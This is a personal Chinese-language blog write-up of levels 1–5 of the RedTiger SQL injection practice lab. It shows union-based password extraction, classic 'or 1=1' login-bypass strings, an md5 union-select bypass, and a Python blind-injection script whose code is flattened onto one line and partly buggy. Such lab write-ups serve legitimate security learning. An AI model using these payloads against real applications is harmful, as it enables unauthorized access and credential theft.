Redtiger SQL注入練習(一)
感覺會的東西太少了,以後要多練習,多寫部落格。要堅持學習,一定不能放棄,為夢想奮鬥。
redtiger 這個平臺早就開始做了,但是才做到第4關。。。。
第一關:
開啟題,
先隨便試,後來發現點選 Category 後的1 可以注入,
然後就是注入了,構造cat=1'' 還報錯,估計是數字型注入,然後構造cat=1 order by 1猜列數,得出是4個。
cat=1 union select 1,2,3,4 發現回顯3,4。
我用information_schema這個庫,但是不行,仔細看頁面發現已經給了表名,學網安也需要視力啊。
直接cat=1 union select 1,2,password,4 from level1_users
使用者名稱也給出了,然後就登入進入第二關吧!
第二關:
看題想到萬能密碼,我試了很多次都登不上,看了別人的操作,感覺我輸入的和他一樣啊,咋就進不去了。。。。
直接貼上複製的萬能密碼登入。
username=admin' or '1'='1 password='or 1=1#
第三關:
我在這關採坑時間最長,翻遍了所有人的writeup,就是不行。。。後來才知道問題所在。
提示是,報錯注入。點選TheCow ,看到url明顯經過加密,函式報錯。。。也不知道怎麼加密,就試了陣列 usr[]=.......
進入這個檔案,發現加密解密函式
然後構造 注入語句 加密就可以了。(不知道是php版本不同還是linux和windows不同導致的隨機數不同,加密的結果也不同,我就踩了這個坑。)
這個網址有詳細注入過程:https://www.jianshu.com/p/84d543cff8c0
第四關:
進入第四關,發現注入只會回顯0或1,應該是布林盲注。
猜一下keyword長度,id=1 and length(keyword)= 得出21.
構造url語句 id=1 and ascii(substr((keyword,1,1)))=
盲註腳本:
import string from re import * from urllib.request import * answer="" char=string.printable login ={'Cookie':'level4login=there_is_no_bug'} url="https://redtiger.labs.overthewire.org/level4.php?id=1%20and%20ascii(substr((select%20keyword%20from%20level4_secret),{0},1))={1}" for q in range(1,22): for i in range(1,127): test=(url .format(q,i)) request=Request(test,None,headers=login) res=urlopen(request) s=res.read().decode() if(findall("Query returned 1 rows.",s)): print("{0} ".format(q)+i) answer+=i break print(answer)
跑出答案,進入第五關。
第五關:
看提示,過濾了幾個函式,而且不是盲注,bapass 登入,密碼是md5加密。
先隨便輸一個賬號密碼,返回 user not found。
然後構造一個:
返回,login failed。可見 username已經繞過。然後order by查詢,發現不可以。直接union select 試吧。
得出欄位是2。
構造:username=' union select 1,'c81e728d9d4c2f636f067f89cc14862c'#
password=2
過關。。。。
(後5關再寫另一篇)